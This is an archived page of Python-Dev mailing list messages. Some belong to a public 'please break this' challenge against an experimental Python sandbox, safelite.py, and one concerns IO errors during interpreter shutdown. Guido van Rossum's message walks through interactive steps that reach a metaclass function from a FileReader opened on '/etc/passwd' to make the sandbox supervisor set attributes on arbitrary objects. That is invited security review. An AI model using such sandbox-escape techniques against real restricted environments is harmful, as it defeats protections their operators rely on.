http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

victor> f.tell.__getattribute__('func_closure')

tak> But, have you actually run that code?

Ooops, I modified my local copy of safelite.py to disable func_xxx 
protections :-p With the latest version of safelite.py, my exploit doesn't 
work anymore. Sorry.

-- 
Victor Stinner aka haypo
http://www.haypocalc.com/blog/
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Silencing IO errors on del/dealloc?

2009-02-23 Thread Neil Schemenauer

Guido van Rossum  wrote:
> So how do you get destructors to run in that case? Or do you just not
> run them? Then open files may not be closed and may not even see their
> buffer flushed. I'm not happy about that.

Unfortantely I don't have an up-to-date understand of the issues
regarding modules and reference cycles.  As I understand it, the
patches makes the shutdown procedure replace references to modules
with weak references thereby allowing most to be GCed.  Running
finalizers in that environment is causes less problems then just
directly clobbering global vars with None.

  Neil

___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]

Another potential avenue for attacks:

I can access the various class and metaclass objects easily:

>>> f = FileReader('/etc/passwd')
>>> f.__class__

>>> f.__class__.__metaclass__

>>> f.__class__.__metaclass__.__call__

>>> f.__class__.__metaclass__.__call__.im_func

>>> kall = f.__class__.__metaclass__.__call__.im_func
>>>

Now calling kall() with appropriate arguments will allow me to let the
supervisor do setattr() operations on any object I have access to. It
will probably end with an exception but that shouldn't matter:

>>> kall(f.__class__.__metaclass__, [('foo', 47)])

>>> f.__class__.__metaclass__.foo
47
>>>

Insofar as the metaclass has any purpose at all for security this
might let us thwart that purpose...

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)
___
Python-Dev mailing list
Python-Dev@python.org
http://mail.python.org/mailman/listinfo/python-dev
Unsubscribe: 
http://mail.python.org/mailman/options/python-dev/archive%40mail-archive.com

Re: [Python-Dev] Challenge: Please break this! [Now with blog post]